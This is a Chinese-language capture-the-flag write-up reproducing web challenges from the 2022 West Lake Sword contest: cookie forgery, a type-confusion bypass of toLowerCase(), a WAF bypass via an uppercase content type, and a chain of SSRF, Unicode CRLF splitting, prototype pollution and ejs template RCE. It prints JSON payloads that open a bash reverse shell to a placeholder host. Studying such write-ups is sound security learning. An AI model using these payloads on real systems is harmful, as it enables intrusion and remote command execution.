2022西湖论剑部分web复现
前言
第一次参加西湖论剑大赛,全程坐牢了。看着题目被其他师傅日穿,心里不甘啊,没办法,还是太菜,趁着还有比赛环境,抓紧复现一波赛题,详细记录一下。
Node Magical Login
这题有附件,node.js代码,不过代码很好懂。主页面是个登录框。
看源码分析功能,
密码设置随机数,按常理不可能登录成功。
if(req.cookies.user === "admin") { |
伪造cookie可得flag1,
关键在于flag2,输入正确的检测码,但是被toLowerCase()函数强制转小写。
if(checkcode.length === 16){ |
当时一直在想怎么绕过toLowerCase()函数,利用相似unicode编码字符也不行,最后改变思路,让toLowerCase()函数发生报错,跳转到catch捕捉,就会顺利执行下面的代码,获得flag2。可到最后也没能让toLowerCase()函数报错。看了师傅的wp才知道toLowerCase()函数是处理字符串的,我们给他传递一个数组,数据类型不匹配而出现异常。另外,我们传递的参数需要满足16长度,所以payload为
{"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]} |
拼接得到完整flag。
扭转乾坤
打开网站有个上传功能
看到Servlet就知道后端是java有些劝退了。看wp才知道一个大小写绕过就能得到flag。随便上传什么文件,将文件类型的multipart/form-data,改成大写,然后上传成功即可得到flag。
有点不太理解,但是题目也给了提示:需要从RFC规范差异绕过waf。网上找了篇文章,以后填坑再看:https://www.anquanke.com/post/id/241265
real_ez_node
又是node.js题,相关知识点:
safeobj.expand()原型链污染配合ejs模板rce。
ssrf配合unicode字符损坏构造恶意http数据包访问内网
下载附件分析源码。在views中有两个ejs模板文件,在routes的index.js会对其进行渲染。
这里的safeobj.expand()函数存在原型链污染,我们传入的req.body[index]值会覆盖掉index属性,在这里,需要污染的对象可控,污染的内容可控,因此存在漏洞点。相关CVE:NVD - CVE-2021-25928 (nist.gov)在网上找了个poc测试一下,(相关链接:JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户)
污染成功,此处存在原型链污染。配合ejs模板引擎渲染,可以达到rce的目的。ejs模板注入的payload有很多,例如:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}} |
但是结合safeobj.expend函数,需要变通一下,另外__proto__关键词被过滤了。在网上搜索可以使用构造器配合prototype来代替__proto__,根据上面举的例子照葫芦画瓢,执行反弹shell,整合payload为:
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps/port 0>&1\\"');var __tmp2" |
那么有个问题,
为什么不是这样:{"constructor": {"prototype": {"outputFunctionName": |
都是safeobj.expend()函数搞的鬼,进入函数底层代码看看
expand: function (obj, path, thing) { |
上面写的由path参数接收。在这里它会被.分割成字符串数组。进入到else分支继续调用expend函数,相当于递归copy操作。在copy路由下,只能本地访问。
if (!ip.includes('127.0.0.1')) { |
继续看代码,curl路由,
var q = req.query.q; |
声明一个q属性,并且拼接到本机地址访问内网。那么我们应该可以拼接另一个恶意的http数据包来带着恶意的payload去访问copy路由。拼接数据包自然少不了CRLF,而针对于node的8.1.2版本(也就是题目环境)有unicode字符损坏造成的htttp拆分攻击漏洞。之前做过一道类似的题,在此继续啰嗦几句。
在node.js中,并不能直接注入CRLF,node.js中的http库会检测用户如果含有回车换行会直接报错。js也是默认支持unicode字符串,只支持单字节字符集,如果传入高字节的unicode编码,则会被截断为单字节。我们可以巧妙的利用某些高字节unicode编码,让它截断为我们想要的换行。
举个栗子:如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF。
这题主要思路:curl路由存在ssrf->配合CRLF构造恶意http数据包访问copy路由->safeobj.expend()存在原型链污染->配合ejs模板渲染反弹shell.
接着就是写python脚本发包了,直接用[GYCTF2020]Node Game的脚本改改就好了。
import requests |
发包反弹成功,获得flag。
在这里贴上各种模板的原型链rce文章:https://www.anquanke.com/post/id/248170#h2-8
结语
剩下的web题目可能不在我的知识理解范围之内,等以后有机会继续补充记录。相关链接:http://syunaht.com/p/2990775804.html#toc-heading-6